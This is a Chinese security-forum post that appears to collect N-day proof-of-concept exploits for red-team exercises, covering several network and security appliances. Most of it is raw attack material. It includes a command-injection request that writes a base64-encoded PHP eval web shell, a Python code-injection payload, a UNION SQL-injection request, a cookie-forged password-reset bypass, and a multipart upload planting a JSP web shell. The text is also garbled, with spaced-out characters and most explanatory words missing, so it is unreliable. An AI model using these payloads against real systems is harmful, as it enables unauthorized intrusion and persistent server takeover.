[18930] 2020-09-13_HVV近期漏洞整理

文档创建者:s7ckTeam
浏览次数:13
最后更新:2025-01-18
2020-09-13_HVV近期漏洞整理 H V V I D L a b   2 0 2 0 - 0 9 - 1 3 N d a y   P O C 绿 U T S f a l s e t r u e m d 5 1 访   h t t p : / / 1 0 . 2 0 . 1 0 . 1 1 / l i s t e n e r / c l u s t e r _ m a n a g e . p h p     :   " O K " . 2 访 g e t s h e l l P H P 3 / v a r / w w w / s h t e r m / r e s o u r c e s / q r c o d e / l b j 7 7 . p h p     1 0 0 8 6 h t t p s : / / 1 0 . 2 0 . 1 0 . 1 0 / h a _ r e q u e s t . p h p ? a c t i o n = i n s t a l l & i p a d d r = 1 0 . 2 0 . 1 0 . 1 1 & n o d e _ i d = 1 $ { I F S } | ` e c h o $ { I F S } "     Z W N o b y A n P D 9 w a H A g Q G V 2 Y W w o J F 9 S R V F V R V N U W z E w M D g 2 X S k 7 P z 4 n P j 4 v d m F y L 3 d 3 d y 9 z a H R l c m 0 v c m V z b 3 V y Y 2 V z L 3 F y Y 2 9 k Z S 9 s Y m o 3 N y 5 w a H A K " p o s t : / s h t e r m / l i s t e n e r / t u i _ u p d a t e . p h p d a t a : a = [ " t ' ; i m p o r t   o s ; o s . p o p e n ( ' l s ' ) # " ] C N V D - 2 0 1 9 - 2 0 8 3 5

E D R   3 . 2 . 2 1 T o p A p p - L B   s q l G R P - u 8   P O S T   / a c c / c l s f / r e p o r t / d a t a s o u r c e . p h p   H T T P / 1 . 1 H o s t : C o n n e c t i o n :   c l o s e A c c e p t :   t e x t / j a v a s c r i p t ,   t e x t / h t m l ,   a p p l i c a t i o n / x m l ,   t e x t / x m l ,   * / * X - P r o t o t y p e - V e r s i o n :   1 . 6 . 0 . 3 X - R e q u e s t e d - W i t h :   X M L H t t p R e q u e s t U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 _ 1 5 _ 5 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 8 4 . 0 . 4 1 4 7 . 1 0 5   S a f a r i / 5 3 7 . 3 6 S e c - F e t c h - S i t e :   s a m e - o r i g i n S e c - F e t c h - M o d e :   c o r s S e c - F e t c h - D e s t :   e m p t y A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 9 C o o k i e :   P H P S E S S I D = i j q t o p b c b m u 8 d 7 0 o 5 t 3 k m v g t 5 7 C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   2 0 1 t = l & e = 0 & s = t & l = 1 & v i d = 1 + u n i o n   s e l e c t   1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , s u b s t r ( ' a ' , 1 , 1 ) , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 2 0 , 2 1 , 2 2 - - + & g i d = 0 & l m t = 1 0 & o = r _ S p e e d & a s c = f a l s e & p = 8 & l i p f = & l i p t = & r i p f = & r i p t = & d s c p = & p r o t o = & l p f = & l p t = & r p f = & r p t = @ P O S T   / P r o x y   H T T P / 1 . 1 A c c e p t :   A c c e p t :   * / * C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d U s e r - A g e n t :   M o z i l l a / 4 . 0   ( c o m p a t i b l e ;   M S I E   6 . 0 ; ) H o s t :   h o s t C o n t e n t - L e n g t h :   3 5 7 C o n n e c t i o n :   K e e p - A l i v e C a c h e - C o n t r o l :   n o - c a c h e c V e r = 9 . 8 . 0 & d p = < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " G B 2 3 1 2 " ? > < R 9 P A C K E T   v e r s i o n = " 1 " > < D A T A F O R M A T > X M L < / D A T A F O R M A T > < R 9 F U N C T I O N > < N A M E > A S _ D a t a R e q u e s t < / N A M E > < P A R A M S > < P A R A M > < N A M E > P r o v i d e r N a m e , , / ? m o d u l e = a u t h _ u s e r & a c t i o n = m o d _ e d i t _ p w d 访 , : s u p e r m a n u i d 1 P O S T   / ? m o d u l e = a u t h _ u s e r & a c t i o n = m o d _ e d i t _ p w d   C o o k i e :   u s e r n a m e = s u p e r m a n ;   u i d = 1 & p d = N e w p a s s w d & m o d _ p w d = 1 & d l p _ p e r m = 1
绿 U T S 访   / w e b a p i / v 1 / s y s t e m / a c c o u n t m a n a g e / a c c o u n t 使 p a s s w o r d , / u t s _ v 2 / w e b s t a t i c / # / d a s h b o a r d P O S T   / u a i / d o w n l o a d / u p l o a d f i l e T o P a t h . h t m   H T T P / 1 . 1 H O S T :   x x x x x . . .   . . .   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 5 7 0 x x x x x x x x x 6 0 2 5 2 7 4 x x x x x x x x 1 C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " i n p u t _ l o c a l f i l e " ;   f i l e n a m e = " x x x . j s p " C o n t e n t - T y p e :   i m a g e / p n g   < % @ p a g e   i m p o r t = " j a v a . u t i l . * , j a v a x . c r y p t o . * , j a v a x . c r y p t o . s p e c . * " % > < % ! c l a s s   U   e x t e n d s   C l a s s L o a d e r { U ( C l a s s L o a d e r   c ) { s u p e r ( c ) ; } p u b l i c   C l a s s   g ( b y t e   [ ] b ) { r e t u r n   s u p e r . d e f i n e C l a s s ( b ,   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 5 7 0 x x x x x x x x x 6 0 2 5 2 7 4 x x x x x x x x 1 C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " u p l o a d p a t h "   . . / w e b a p p s / n o t i f y m s g / d e v r e p o r t / - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 5 7 0 x x x x x x x x x 6 0 2 5 2 7 4 x x x x x x x x 1 - -
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则